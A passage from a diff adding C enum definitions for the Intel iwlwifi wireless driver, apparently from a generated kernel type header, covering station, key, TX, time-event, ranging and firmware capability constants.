+enum iwl_sf_state { + SF_LONG_DELAY_ON = 0, + SF_FULL_ON = 1, + SF_UNINIT = 2, + SF_INIT_OFF = 3, + SF_HW_NUM_STATES = 4, +}; + +enum iwl_shared_irq_flags { + IWL_SHARED_IRQ_NON_RX = 1, + IWL_SHARED_IRQ_FIRST_RSS = 2, +}; + +enum iwl_sta_flags { + STA_FLG_REDUCED_TX_PWR_CTRL = 8, + STA_FLG_REDUCED_TX_PWR_DATA = 64, + STA_FLG_DISABLE_TX = 16, + STA_FLG_PS = 256, + STA_FLG_DRAIN_FLOW = 4096, + STA_FLG_PAN = 8192, + STA_FLG_CLASS_AUTH = 16384, + STA_FLG_CLASS_ASSOC = 32768, + STA_FLG_RTS_MIMO_PROT = 131072, + STA_FLG_MAX_AGG_SIZE_SHIFT = 19, + STA_FLG_MAX_AGG_SIZE_8K = 0, + STA_FLG_MAX_AGG_SIZE_16K = 524288, + STA_FLG_MAX_AGG_SIZE_32K = 1048576, + STA_FLG_MAX_AGG_SIZE_64K = 1572864, + STA_FLG_MAX_AGG_SIZE_128K = 2097152, + STA_FLG_MAX_AGG_SIZE_256K = 2621440, + STA_FLG_MAX_AGG_SIZE_512K = 3145728, + STA_FLG_MAX_AGG_SIZE_1024K = 3670016, + STA_FLG_MAX_AGG_SIZE_2M = 4194304, + STA_FLG_MAX_AGG_SIZE_4M = 4718592, + STA_FLG_MAX_AGG_SIZE_MSK = 7864320, + STA_FLG_AGG_MPDU_DENS_SHIFT = 23, + STA_FLG_AGG_MPDU_DENS_2US = 33554432, + STA_FLG_AGG_MPDU_DENS_4US = 41943040, + STA_FLG_AGG_MPDU_DENS_8US = 50331648, + STA_FLG_AGG_MPDU_DENS_16US = 58720256, + STA_FLG_AGG_MPDU_DENS_MSK = 58720256, + STA_FLG_FAT_EN_20MHZ = 0, + STA_FLG_FAT_EN_40MHZ = 67108864, + STA_FLG_FAT_EN_80MHZ = 134217728, + STA_FLG_FAT_EN_160MHZ = 201326592, + STA_FLG_FAT_EN_MSK = 201326592, + STA_FLG_MIMO_EN_SISO = 0, + STA_FLG_MIMO_EN_MIMO2 = 268435456, + STA_FLG_MIMO_EN_MIMO3 = 536870912, + STA_FLG_MIMO_EN_MSK = 805306368, +}; + +enum iwl_sta_key_flag { + STA_KEY_FLG_NO_ENC = 0, + STA_KEY_FLG_WEP = 1, + STA_KEY_FLG_CCM = 2, + STA_KEY_FLG_TKIP = 3, + STA_KEY_FLG_EXT = 4, + STA_KEY_FLG_GCMP = 5, + STA_KEY_FLG_CMAC = 6, + STA_KEY_FLG_ENC_UNKNOWN = 7, + STA_KEY_FLG_EN_MSK = 7, + STA_KEY_FLG_WEP_KEY_MAP = 8, + STA_KEY_FLG_AMSDU_SPP = 128, + STA_KEY_FLG_KEYID_POS = 8, + STA_KEY_FLG_KEYID_MSK = 768, + STA_KEY_NOT_VALID = 2048, + STA_KEY_FLG_WEP_13BYTES = 4096, + STA_KEY_FLG_KEY_32BYTES = 4096, + STA_KEY_MULTICAST = 16384, + STA_KEY_MFP = 32768, +}; + +enum iwl_sta_mode { + STA_MODE_ADD = 0, + STA_MODE_MODIFY = 1, +}; + +enum iwl_sta_modify_flag { + STA_MODIFY_QUEUE_REMOVAL = 1, + STA_MODIFY_TID_DISABLE_TX = 2, + STA_MODIFY_UAPSD_ACS = 4, + STA_MODIFY_ADD_BA_TID = 8, + STA_MODIFY_REMOVE_BA_TID = 16, + STA_MODIFY_SLEEPING_STA_TX_COUNT = 32, + STA_MODIFY_PROT_TH = 64, + STA_MODIFY_QUEUES = 128, +}; + +enum iwl_sta_sleep_flag { + STA_SLEEP_STATE_AWAKE = 0, + STA_SLEEP_STATE_PS_POLL = 1, + STA_SLEEP_STATE_UAPSD = 2, + STA_SLEEP_STATE_MOREDATA = 4, +}; + +enum iwl_sta_type { + IWL_STA_LINK = 0, + IWL_STA_GENERAL_PURPOSE = 1, + IWL_STA_MULTICAST = 2, + IWL_STA_TDLS_LINK = 3, + IWL_STA_AUX_ACTIVITY = 4, +}; + +enum iwl_statistics_cfg_flags { + IWL_STATS_CFG_FLG_DISABLE_NTFY_MSK = 1, + IWL_STATS_CFG_FLG_ON_DEMAND_NTFY_MSK = 2, + IWL_STATS_CFG_FLG_RESET_MSK = 4, +}; + +enum iwl_statistics_cmd_flags { + IWL_STATISTICS_FLG_CLEAR = 1, + IWL_STATISTICS_FLG_DISABLE_NOTIF = 2, +}; + +enum iwl_statistics_notif_flags { + IWL_STATISTICS_REPLY_FLG_CLEAR = 1, +}; + +enum iwl_statistics_notify_type_id { + IWL_STATS_NTFY_TYPE_ID_OPER = 1, + IWL_STATS_NTFY_TYPE_ID_OPER_PART1 = 2, + IWL_STATS_NTFY_TYPE_ID_OPER_PART2 = 4, + IWL_STATS_NTFY_TYPE_ID_OPER_PART3 = 8, + IWL_STATS_NTFY_TYPE_ID_OPER_PART4 = 16, +}; + +enum iwl_statistics_subcmd_ids { + STATISTICS_OPER_NOTIF = 0, + STATISTICS_OPER_PART1_NOTIF = 1, +}; + +enum iwl_system_subcmd_ids { + SHARED_MEM_CFG_CMD = 0, + SOC_CONFIGURATION_CMD = 1, + INIT_EXTENDED_CFG_CMD = 3, + FW_ERROR_RECOVERY_CMD = 7, + RFI_CONFIG_CMD = 11, + RFI_GET_FREQ_TABLE_CMD = 12, + SYSTEM_FEATURES_CONTROL_CMD = 13, + SYSTEM_STATISTICS_CMD = 15, + SYSTEM_STATISTICS_END_NOTIF = 253, + RFI_DEACTIVATE_NOTIF = 255, +}; + +enum iwl_table_type { + LQ_NONE = 0, + LQ_G = 1, + LQ_A = 2, + LQ_SISO = 3, + LQ_MIMO2 = 4, + LQ_MIMO3 = 5, + LQ_MAX = 6, +}; + +enum iwl_table_type___2 { + LQ_NONE___2 = 0, + LQ_LEGACY_G = 1, + LQ_LEGACY_A = 2, + LQ_HT_SISO = 3, + LQ_HT_MIMO2 = 4, + LQ_VHT_SISO = 5, + LQ_VHT_MIMO2 = 6, + LQ_HE_SISO = 7, + LQ_HE_MIMO2 = 8, + LQ_MAX___2 = 9, +}; + +enum iwl_tdls_channel_switch_type { + TDLS_SEND_CHAN_SW_REQ = 0, + TDLS_SEND_CHAN_SW_RESP_AND_MOVE_CH = 1, + TDLS_MOVE_CH = 2, +}; + +enum iwl_thermal_dual_chain_req_events { + THERMAL_DUAL_CHAIN_REQ_ENABLE = 0, + THERMAL_DUAL_CHAIN_REQ_DISABLE = 1, +}; + +enum iwl_time_event_policy { + TE_V2_DEFAULT_POLICY = 0, + TE_V2_NOTIF_HOST_EVENT_START = 1, + TE_V2_NOTIF_HOST_EVENT_END = 2, + TE_V2_NOTIF_INTERNAL_EVENT_START = 4, + TE_V2_NOTIF_INTERNAL_EVENT_END = 8, + TE_V2_NOTIF_HOST_FRAG_START = 16, + TE_V2_NOTIF_HOST_FRAG_END = 32, + TE_V2_NOTIF_INTERNAL_FRAG_START = 64, + TE_V2_NOTIF_INTERNAL_FRAG_END = 128, + TE_V2_START_IMMEDIATELY = 2048, + TE_V2_DEP_OTHER = 4096, + TE_V2_DEP_TSF = 8192, + TE_V2_EVENT_SOCIOPATHIC = 16384, + TE_V2_ABSENCE = 32768, +}; + +enum iwl_time_event_type { + TE_BSS_STA_AGGRESSIVE_ASSOC = 0, + TE_BSS_STA_ASSOC = 1, + TE_BSS_EAP_DHCP_PROT = 2, + TE_BSS_QUIET_PERIOD = 3, + TE_P2P_DEVICE_DISCOVERABLE = 4, + TE_P2P_DEVICE_LISTEN = 5, + TE_P2P_DEVICE_ACTION_SCAN = 6, + TE_P2P_DEVICE_FULL_SCAN = 7, + TE_P2P_CLIENT_AGGRESSIVE_ASSOC = 8, + TE_P2P_CLIENT_ASSOC = 9, + TE_P2P_CLIENT_QUIET_PERIOD = 10, + TE_P2P_GO_ASSOC_PROT = 11, + TE_P2P_GO_REPETITIVET_NOA = 12, + TE_P2P_GO_CT_WINDOW = 13, + TE_WIDI_TX_SYNC = 14, + TE_CHANNEL_SWITCH_PERIOD = 15, + TE_MAX = 16, +}; + +enum iwl_time_sync_protocol_type { + IWL_TIME_SYNC_PROTOCOL_TM = 1, + IWL_TIME_SYNC_PROTOCOL_FTM = 2, +}; + +enum iwl_tlc_mng_cfg_chains { + IWL_TLC_MNG_CHAIN_A_MSK = 1, + IWL_TLC_MNG_CHAIN_B_MSK = 2, +}; + +enum iwl_tlc_mng_cfg_cw { + IWL_TLC_MNG_CH_WIDTH_20MHZ = 0, + IWL_TLC_MNG_CH_WIDTH_40MHZ = 1, + IWL_TLC_MNG_CH_WIDTH_80MHZ = 2, + IWL_TLC_MNG_CH_WIDTH_160MHZ = 3, + IWL_TLC_MNG_CH_WIDTH_320MHZ = 4, +}; + +enum iwl_tlc_mng_cfg_flags { + IWL_TLC_MNG_CFG_FLAGS_STBC_MSK = 1, + IWL_TLC_MNG_CFG_FLAGS_LDPC_MSK = 2, + IWL_TLC_MNG_CFG_FLAGS_HE_STBC_160MHZ_MSK = 4, + IWL_TLC_MNG_CFG_FLAGS_HE_DCM_NSS_1_MSK = 8, + IWL_TLC_MNG_CFG_FLAGS_HE_DCM_NSS_2_MSK = 16, + IWL_TLC_MNG_CFG_FLAGS_EHT_EXTRA_LTF_MSK = 64, +}; + +enum iwl_tlc_mng_cfg_mode { + IWL_TLC_MNG_MODE_CCK = 0, + IWL_TLC_MNG_MODE_OFDM_NON_HT = 0, + IWL_TLC_MNG_MODE_NON_HT = 0, + IWL_TLC_MNG_MODE_HT = 1, + IWL_TLC_MNG_MODE_VHT = 2, + IWL_TLC_MNG_MODE_HE = 3, + IWL_TLC_MNG_MODE_EHT = 4, +}; + +enum iwl_tlc_mng_ht_rates { + IWL_TLC_MNG_HT_RATE_MCS0 = 0, + IWL_TLC_MNG_HT_RATE_MCS1 = 1, + IWL_TLC_MNG_HT_RATE_MCS2 = 2, + IWL_TLC_MNG_HT_RATE_MCS3 = 3, + IWL_TLC_MNG_HT_RATE_MCS4 = 4, + IWL_TLC_MNG_HT_RATE_MCS5 = 5, + IWL_TLC_MNG_HT_RATE_MCS6 = 6, + IWL_TLC_MNG_HT_RATE_MCS7 = 7, + IWL_TLC_MNG_HT_RATE_MCS8 = 8, + IWL_TLC_MNG_HT_RATE_MCS9 = 9, + IWL_TLC_MNG_HT_RATE_MCS10 = 10, + IWL_TLC_MNG_HT_RATE_MCS11 = 11, + IWL_TLC_MNG_HT_RATE_MAX = 11, +}; + +enum iwl_tlc_update_flags { + IWL_TLC_NOTIF_FLAG_RATE = 1, + IWL_TLC_NOTIF_FLAG_AMSDU = 2, +}; + +enum iwl_tof_algo_type { + IWL_TOF_ALGO_TYPE_MAX_LIKE = 0, + IWL_TOF_ALGO_TYPE_LINEAR_REG = 1, + IWL_TOF_ALGO_TYPE_FFT = 2, + IWL_TOF_ALGO_TYPE_INVALID = 3, +}; + +enum iwl_tof_bandwidth { + IWL_TOF_BW_20_LEGACY = 0, + IWL_TOF_BW_20_HT = 1, + IWL_TOF_BW_40 = 2, + IWL_TOF_BW_80 = 3, + IWL_TOF_BW_160 = 4, + IWL_TOF_BW_NUM = 5, +}; + +enum iwl_tof_entry_status { + IWL_TOF_ENTRY_SUCCESS = 0, + IWL_TOF_ENTRY_GENERAL_FAILURE = 1, + IWL_TOF_ENTRY_NO_RESPONSE = 2, + IWL_TOF_ENTRY_REQUEST_REJECTED = 3, + IWL_TOF_ENTRY_NOT_SCHEDULED = 4, + IWL_TOF_ENTRY_TIMING_MEASURE_TIMEOUT = 5, + IWL_TOF_ENTRY_TARGET_DIFF_CH_CANNOT_CHANGE = 6, + IWL_TOF_ENTRY_RANGE_NOT_SUPPORTED = 7, + IWL_TOF_ENTRY_REQUEST_ABORT_UNKNOWN_REASON = 8, + IWL_TOF_ENTRY_LOCATION_INVALID_T1_T4_TIME_STAMP = 9, + IWL_TOF_ENTRY_11MC_PROTOCOL_FAILURE = 10, + IWL_TOF_ENTRY_REQUEST_CANNOT_SCHED = 11, + IWL_TOF_ENTRY_RESPONDER_CANNOT_COLABORATE = 12, + IWL_TOF_ENTRY_BAD_REQUEST_ARGS = 13, + IWL_TOF_ENTRY_WIFI_NOT_ENABLED = 14, + IWL_TOF_ENTRY_RESPONDER_OVERRIDE_PARAMS = 15, +}; + +enum iwl_tof_initiator_flags { + IWL_TOF_INITIATOR_FLAGS_FAST_ALGO_DISABLED = 1, + IWL_TOF_INITIATOR_FLAGS_RX_CHAIN_SEL_A = 2, + IWL_TOF_INITIATOR_FLAGS_RX_CHAIN_SEL_B = 4, + IWL_TOF_INITIATOR_FLAGS_RX_CHAIN_SEL_C = 8, + IWL_TOF_INITIATOR_FLAGS_TX_CHAIN_SEL_A = 16, + IWL_TOF_INITIATOR_FLAGS_TX_CHAIN_SEL_B = 32, + IWL_TOF_INITIATOR_FLAGS_TX_CHAIN_SEL_C = 64, + IWL_TOF_INITIATOR_FLAGS_MACADDR_RANDOM = 128, + IWL_TOF_INITIATOR_FLAGS_SPECIFIC_CALIB = 32768, + IWL_TOF_INITIATOR_FLAGS_COMMON_CALIB = 65536, + IWL_TOF_INITIATOR_FLAGS_NON_ASAP_SUPPORT = 1048576, +}; + +enum iwl_tof_location_query { + IWL_TOF_LOC_LCI = 1, + IWL_TOF_LOC_CIVIC = 2, +}; + +enum iwl_tof_range_request_status { + IWL_TOF_RANGE_REQUEST_STATUS_SUCCESS = 0, + IWL_TOF_RANGE_REQUEST_STATUS_BUSY = 1, +}; + +enum iwl_tof_responder_cmd_valid_field { + IWL_TOF_RESPONDER_CMD_VALID_CHAN_INFO = 1, + IWL_TOF_RESPONDER_CMD_VALID_TOA_OFFSET = 2, + IWL_TOF_RESPONDER_CMD_VALID_COMMON_CALIB = 4, + IWL_TOF_RESPONDER_CMD_VALID_SPECIFIC_CALIB = 8, + IWL_TOF_RESPONDER_CMD_VALID_BSSID = 16, + IWL_TOF_RESPONDER_CMD_VALID_TX_ANT = 32, + IWL_TOF_RESPONDER_CMD_VALID_ALGO_TYPE = 64, + IWL_TOF_RESPONDER_CMD_VALID_NON_ASAP_SUPPORT = 128, + IWL_TOF_RESPONDER_CMD_VALID_STATISTICS_REPORT_SUPPORT = 256, + IWL_TOF_RESPONDER_CMD_VALID_MCSI_NOTIF_SUPPORT = 512, + IWL_TOF_RESPONDER_CMD_VALID_FAST_ALGO_SUPPORT = 1024, + IWL_TOF_RESPONDER_CMD_VALID_RETRY_ON_ALGO_FAIL = 2048, + IWL_TOF_RESPONDER_CMD_VALID_STA_ID = 4096, + IWL_TOF_RESPONDER_CMD_VALID_NDP_SUPPORT = 4194304, + IWL_TOF_RESPONDER_CMD_VALID_NDP_PARAMS = 8388608, + IWL_TOF_RESPONDER_CMD_VALID_LMR_FEEDBACK = 16777216, + IWL_TOF_RESPONDER_CMD_VALID_SESSION_ID = 33554432, + IWL_TOF_RESPONDER_CMD_VALID_BSS_COLOR = 67108864, + IWL_TOF_RESPONDER_CMD_VALID_MIN_MAX_TIME_BETWEEN_MSR = 134217728, +}; + +enum iwl_trans_state { + IWL_TRANS_NO_FW = 0, + IWL_TRANS_FW_STARTED = 1, + IWL_TRANS_FW_ALIVE = 2, +}; + +enum iwl_trans_status { + STATUS_SYNC_HCMD_ACTIVE = 0, + STATUS_DEVICE_ENABLED = 1, + STATUS_TPOWER_PMI = 2, + STATUS_INT_ENABLED = 3, + STATUS_RFKILL_HW = 4, + STATUS_RFKILL_OPMODE = 5, + STATUS_FW_ERROR = 6, + STATUS_TRANS_DEAD = 7, + STATUS_SUPPRESS_CMD_ERROR_ONCE = 8, +}; + +enum iwl_tsf_id { + TSF_ID_A = 0, + TSF_ID_B = 1, + TSF_ID_C = 2, + TSF_ID_D = 3, + NUM_TSF_IDS = 4, +}; + +enum iwl_tt_state { + IWL_TI_0 = 0, + IWL_TI_1 = 1, + IWL_TI_2 = 2, + IWL_TI_CT_KILL = 3, + IWL_TI_STATE_MAX = 4, +}; + +enum iwl_tx_cmd_flags { + IWL_TX_FLAGS_CMD_RATE = 1, + IWL_TX_FLAGS_ENCRYPT_DIS = 2, + IWL_TX_FLAGS_HIGH_PRI = 4, + IWL_TX_FLAGS_RTS = 8, + IWL_TX_FLAGS_CTS = 16, +}; + +enum iwl_tx_cmd_sec_ctrl { + TX_CMD_SEC_WEP = 1, + TX_CMD_SEC_CCM = 2, + TX_CMD_SEC_TKIP = 3, + TX_CMD_SEC_EXT = 4, + TX_CMD_SEC_GCMP = 5, + TX_CMD_SEC_KEY128 = 8, + TX_CMD_SEC_KEY_FROM_TABLE = 16, +}; + +enum iwl_tx_flags { + TX_CMD_FLG_PROT_REQUIRE = 1, + TX_CMD_FLG_WRITE_TX_POWER = 2, + TX_CMD_FLG_ACK = 8, + TX_CMD_FLG_STA_RATE = 16, + TX_CMD_FLG_BAR = 64, + TX_CMD_FLG_TXOP_PROT = 128, + TX_CMD_FLG_VHT_NDPA = 256, + TX_CMD_FLG_HT_NDPA = 512, + TX_CMD_FLG_CSI_FDBK2HOST = 1024, + TX_CMD_FLG_BT_PRIO_POS = 11, + TX_CMD_FLG_BT_PRIO_MASK = 6144, + TX_CMD_FLG_BT_DIS = 4096, + TX_CMD_FLG_SEQ_CTL = 8192, + TX_CMD_FLG_MORE_FRAG = 16384, + TX_CMD_FLG_TSF = 65536, + TX_CMD_FLG_CALIB = 131072, + TX_CMD_FLG_KEEP_SEQ_CTL = 262144, + TX_CMD_FLG_MH_PAD = 1048576, + TX_CMD_FLG_RESP_TO_DRV = 2097152, + TX_CMD_FLG_TKIP_MIC_DONE = 8388608, + TX_CMD_FLG_DUR = 33554432, + TX_CMD_FLG_FW_DROP = 67108864, + TX_CMD_FLG_EXEC_PAPD = 134217728, + TX_CMD_FLG_PAPD_TYPE = 268435456, + TX_CMD_FLG_HCCA_CHUNK = 2147483648, +}; + +enum iwl_tx_offload_assist_flags_pos { + TX_CMD_OFFLD_IP_HDR = 0, + TX_CMD_OFFLD_L4_EN = 6, + TX_CMD_OFFLD_L3_EN = 7, + TX_CMD_OFFLD_MH_SIZE = 8, + TX_CMD_OFFLD_PAD = 13, + TX_CMD_OFFLD_AMSDU = 14, +}; + +enum iwl_tx_pm_timeouts { + PM_FRAME_NONE = 0, + PM_FRAME_MGMT = 2, + PM_FRAME_ASSOC = 3, +}; + +enum iwl_tx_queue_cfg_actions { + TX_QUEUE_CFG_ENABLE_QUEUE = 1, + TX_QUEUE_CFG_TFD_SHORT_FORMAT = 2, +}; + +enum iwl_tx_status { + TX_STATUS_MSK___2 = 255, + TX_STATUS_SUCCESS___2 = 1, + TX_STATUS_DIRECT_DONE___2 = 2, + TX_STATUS_POSTPONE_DELAY___2 = 64, + TX_STATUS_POSTPONE_FEW_BYTES___2 = 65, + TX_STATUS_POSTPONE_BT_PRIO___2 = 66, + TX_STATUS_POSTPONE_QUIET_PERIOD___2 = 67, + TX_STATUS_POSTPONE_CALC_TTAK___2 = 68, + TX_STATUS_FAIL_INTERNAL_CROSSED_RETRY___2 = 129, + TX_STATUS_FAIL_SHORT_LIMIT___2 = 130, + TX_STATUS_FAIL_LONG_LIMIT___2 = 131, + TX_STATUS_FAIL_UNDERRUN = 132, + TX_STATUS_FAIL_DRAIN_FLOW___2 = 133, + TX_STATUS_FAIL_RFKILL_FLUSH___2 = 134, + TX_STATUS_FAIL_LIFE_EXPIRE___2 = 135, + TX_STATUS_FAIL_DEST_PS___2 = 136, + TX_STATUS_FAIL_HOST_ABORTED___2 = 137, + TX_STATUS_FAIL_BT_RETRY___2 = 138, + TX_STATUS_FAIL_STA_INVALID___2 = 139, + TX_STATUS_FAIL_FRAG_DROPPED___2 = 140, + TX_STATUS_FAIL_TID_DISABLE___2 = 141, + TX_STATUS_FAIL_FIFO_FLUSHED___2 = 142, + TX_STATUS_FAIL_SMALL_CF_POLL = 143, + TX_STATUS_FAIL_FW_DROP = 144, + TX_STATUS_FAIL_STA_COLOR_MISMATCH = 145, + TX_STATUS_INTERNAL_ABORT = 146, + TX_MODE_MSK = 3840, + TX_MODE_NO_BURST = 0, + TX_MODE_IN_BURST_SEQ = 256, + TX_MODE_FIRST_IN_BURST = 512, + TX_QUEUE_NUM_MSK = 126976, + TX_NARROW_BW_MSK = 393216, + TX_NARROW_BW_1DIV2 = 131072, + TX_NARROW_BW_1DIV4 = 262144, + TX_NARROW_BW_1DIV8 = 393216, +}; + +enum iwl_uapsd_disable { + IWL_DISABLE_UAPSD_BSS = 1, + IWL_DISABLE_UAPSD_P2P_CLIENT = 2, +}; + +enum iwl_ucode_calib_cfg { + IWL_CALIB_CFG_RX_BB_IDX = 1, + IWL_CALIB_CFG_DC_IDX = 2, + IWL_CALIB_CFG_LO_IDX = 4, + IWL_CALIB_CFG_TX_IQ_IDX = 8, + IWL_CALIB_CFG_RX_IQ_IDX = 16, + IWL_CALIB_CFG_NOISE_IDX = 32, + IWL_CALIB_CFG_CRYSTAL_IDX = 64, + IWL_CALIB_CFG_TEMPERATURE_IDX = 128, + IWL_CALIB_CFG_PAPD_IDX = 256, + IWL_CALIB_CFG_SENSITIVITY_IDX = 512, + IWL_CALIB_CFG_TX_PWR_IDX = 1024, +}; + +enum iwl_ucode_sec { + IWL_UCODE_SECTION_DATA = 0, + IWL_UCODE_SECTION_INST = 1, +}; + +enum iwl_ucode_tlv_api { + IWL_UCODE_TLV_API_FRAGMENTED_SCAN = 8, + IWL_UCODE_TLV_API_WIFI_MCC_UPDATE = 9, + IWL_UCODE_TLV_API_LQ_SS_PARAMS = 18, + IWL_UCODE_TLV_API_NEW_VERSION = 20, + IWL_UCODE_TLV_API_SCAN_TSF_REPORT = 28, + IWL_UCODE_TLV_API_TKIP_MIC_KEYS = 29, + IWL_UCODE_TLV_API_STA_TYPE = 30, + IWL_UCODE_TLV_API_NAN2_VER2 = 31, + IWL_UCODE_TLV_API_ADAPTIVE_DWELL = 32, + IWL_UCODE_TLV_API_OCE = 33, + IWL_UCODE_TLV_API_NEW_BEACON_TEMPLATE = 34, + IWL_UCODE_TLV_API_NEW_RX_STATS = 35, + IWL_UCODE_TLV_API_WOWLAN_KEY_MATERIAL = 36, + IWL_UCODE_TLV_API_QUOTA_LOW_LATENCY = 38, + IWL_UCODE_TLV_API_DEPRECATE_TTAK = 41, + IWL_UCODE_TLV_API_ADAPTIVE_DWELL_V2 = 42, + IWL_UCODE_TLV_API_FRAG_EBS = 44, + IWL_UCODE_TLV_API_REDUCE_TX_POWER = 45, + IWL_UCODE_TLV_API_SHORT_BEACON_NOTIF = 46, + IWL_UCODE_TLV_API_BEACON_FILTER_V4 = 47, + IWL_UCODE_TLV_API_REGULATORY_NVM_INFO = 48, + IWL_UCODE_TLV_API_FTM_NEW_RANGE_REQ = 49, + IWL_UCODE_TLV_API_SCAN_OFFLOAD_CHANS = 50, + IWL_UCODE_TLV_API_MBSSID_HE = 52, + IWL_UCODE_TLV_API_WOWLAN_TCP_SYN_WAKE = 53, + IWL_UCODE_TLV_API_FTM_RTT_ACCURACY = 54, + IWL_UCODE_TLV_API_SAR_TABLE_VER = 55, + IWL_UCODE_TLV_API_REDUCED_SCAN_CONFIG = 56, + IWL_UCODE_TLV_API_ADWELL_HB_DEF_N_AP = 57, + IWL_UCODE_TLV_API_SCAN_EXT_CHAN_VER = 58, + IWL_UCODE_TLV_API_BAND_IN_RX_DATA = 59, + IWL_UCODE_TLV_API_NO_HOST_DISABLE_TX = 66, + IWL_UCODE_TLV_API_INT_DBG_BUF_CLEAR = 67, + IWL_UCODE_TLV_API_SMART_FIFO_OFFLOAD = 68, + NUM_IWL_UCODE_TLV_API = 69, +}; + +enum iwl_ucode_tlv_capa { + IWL_UCODE_TLV_CAPA_D0I3_SUPPORT = 0, + IWL_UCODE_TLV_CAPA_LAR_SUPPORT = 1, + IWL_UCODE_TLV_CAPA_UMAC_SCAN = 2, + IWL_UCODE_TLV_CAPA_BEAMFORMER = 3, + IWL_UCODE_TLV_CAPA_TDLS_SUPPORT = 6, + IWL_UCODE_TLV_CAPA_TXPOWER_INSERTION_SUPPORT = 8, + IWL_UCODE_TLV_CAPA_DS_PARAM_SET_IE_SUPPORT = 9, + IWL_UCODE_TLV_CAPA_WFA_TPC_REP_IE_SUPPORT = 10, + IWL_UCODE_TLV_CAPA_QUIET_PERIOD_SUPPORT = 11, + IWL_UCODE_TLV_CAPA_DQA_SUPPORT = 12, + IWL_UCODE_TLV_CAPA_TDLS_CHANNEL_SWITCH = 13, + IWL_UCODE_TLV_CAPA_CNSLDTD_D3_D0_IMG = 17, + IWL_UCODE_TLV_CAPA_HOTSPOT_SUPPORT = 18, + IWL_UCODE_TLV_CAPA_CSUM_SUPPORT = 21, + IWL_UCODE_TLV_CAPA_RADIO_BEACON_STATS = 22, + IWL_UCODE_TLV_CAPA_P2P_SCM_UAPSD = 26, + IWL_UCODE_TLV_CAPA_BT_COEX_PLCR = 28, + IWL_UCODE_TLV_CAPA_LAR_MULTI_MCC = 29, + IWL_UCODE_TLV_CAPA_BT_COEX_RRC = 30, + IWL_UCODE_TLV_CAPA_GSCAN_SUPPORT = 31, + IWL_UCODE_TLV_CAPA_FRAGMENTED_PNVM_IMG = 32, + IWL_UCODE_TLV_CAPA_SOC_LATENCY_SUPPORT = 37, + IWL_UCODE_TLV_CAPA_STA_PM_NOTIF = 38, + IWL_UCODE_TLV_CAPA_BINDING_CDB_SUPPORT = 39, + IWL_UCODE_TLV_CAPA_CDB_SUPPORT = 40, + IWL_UCODE_TLV_CAPA_D0I3_END_FIRST = 41, + IWL_UCODE_TLV_CAPA_TLC_OFFLOAD = 43, + IWL_UCODE_TLV_CAPA_DYNAMIC_QUOTA = 44, + IWL_UCODE_TLV_CAPA_COEX_SCHEMA_2 = 45, + IWL_UCODE_TLV_CAPA_CHANNEL_SWITCH_CMD = 46, + IWL_UCODE_TLV_CAPA_FTM_CALIBRATED = 47, + IWL_UCODE_TLV_CAPA_ULTRA_HB_CHANNELS = 48, + IWL_UCODE_TLV_CAPA_CS_MODIFY = 49, + IWL_UCODE_TLV_CAPA_SET_LTR_GEN2 = 50, + IWL_UCODE_TLV_CAPA_SET_PPAG = 52, + IWL_UCODE_TLV_CAPA_TAS_CFG = 53, + IWL_UCODE_TLV_CAPA_SESSION_PROT_CMD = 54, + IWL_UCODE_TLV_CAPA_PROTECTED_TWT = 56, + IWL_UCODE_TLV_CAPA_FW_RESET_HANDSHAKE = 57, + IWL_UCODE_TLV_CAPA_PASSIVE_6GHZ_SCAN = 58, + IWL_UCODE_TLV_CAPA_HIDDEN_6GHZ_SCAN = 59, + IWL_UCODE_TLV_CAPA_BROADCAST_TWT = 60, + IWL_UCODE_TLV_CAPA_COEX_HIGH_PRIO = 61, + IWL_UCODE_TLV_CAPA_RFIM_SUPPORT = 62, + IWL_UCODE_TLV_CAPA_BAID_ML_SUPPORT = 63, + IWL_UCODE_TLV_CAPA_EXTENDED_DTS_MEASURE = 64, + IWL_UCODE_TLV_CAPA_SHORT_PM_TIMEOUTS = 65, + IWL_UCODE_TLV_CAPA_BT_MPLUT_SUPPORT = 67, + IWL_UCODE_TLV_CAPA_MULTI_QUEUE_RX_SUPPORT = 68, + IWL_UCODE_TLV_CAPA_CSA_AND_TBTT_OFFLOAD = 70, + IWL_UCODE_TLV_CAPA_BEACON_ANT_SELECTION = 71, + IWL_UCODE_TLV_CAPA_BEACON_STORING = 72, + IWL_UCODE_TLV_CAPA_LAR_SUPPORT_V3 = 73, + IWL_UCODE_TLV_CAPA_CT_KILL_BY_FW = 74, + IWL_UCODE_TLV_CAPA_TEMP_THS_REPORT_SUPPORT = 75, + IWL_UCODE_TLV_CAPA_CTDP_SUPPORT = 76, + IWL_UCODE_TLV_CAPA_USNIFFER_UNIFIED = 77, + IWL_UCODE_TLV_CAPA_EXTEND_SHARED_MEM_CFG = 80, + IWL_UCODE_TLV_CAPA_LQM_SUPPORT = 81, + IWL_UCODE_TLV_CAPA_TX_POWER_ACK = 84, + IWL_UCODE_TLV_CAPA_D3_DEBUG = 87, + IWL_UCODE_TLV_CAPA_LED_CMD_SUPPORT = 88, + IWL_UCODE_TLV_CAPA_MCC_UPDATE_11AX_SUPPORT = 89, + IWL_UCODE_TLV_CAPA_CSI_REPORTING = 90, + IWL_UCODE_TLV_CAPA_DBG_SUSPEND_RESUME_CMD_SUPP = 92, + IWL_UCODE_TLV_CAPA_DBG_BUF_ALLOC_CMD_SUPP = 93, + IWL_UCODE_TLV_CAPA_MLME_OFFLOAD = 96, + IWL_UCODE_TLV_CAPA_PSC_CHAN_SUPPORT = 98, + IWL_UCODE_TLV_CAPA_BIGTK_SUPPORT = 100, + IWL_UCODE_TLV_CAPA_SPP_AMSDU_SUPPORT = 103, + IWL_UCODE_TLV_CAPA_DRAM_FRAG_SUPPORT = 104, + IWL_UCODE_TLV_CAPA_DUMP_COMPLETE_SUPPORT = 105, + IWL_UCODE_TLV_CAPA_SYNCED_TIME = 106, + IWL_UCODE_TLV_CAPA_TIME_SYNC_BOTH_FTM_TM = 108, + IWL_UCODE_TLV_CAPA_BIGTK_TX_SUPPORT = 109, + IWL_UCODE_TLV_CAPA_MLD_API_SUPPORT = 110, + IWL_UCODE_TLV_CAPA_SCAN_DONT_TOGGLE_ANT = 111, + IWL_UCODE_TLV_CAPA_PPAG_CHINA_BIOS_SUPPORT = 112, + IWL_UCODE_TLV_CAPA_OFFLOAD_BTM_SUPPORT = 113, + IWL_UCODE_TLV_CAPA_STA_EXP_MFP_SUPPORT = 114, + IWL_UCODE_TLV_CAPA_SNIFF_VALIDATE_SUPPORT = 116, + IWL_UCODE_TLV_CAPA_CHINA_22_REG_SUPPORT = 117, + IWL_UCODE_TLV_CAPA_SECURE_LTF_SUPPORT = 121, 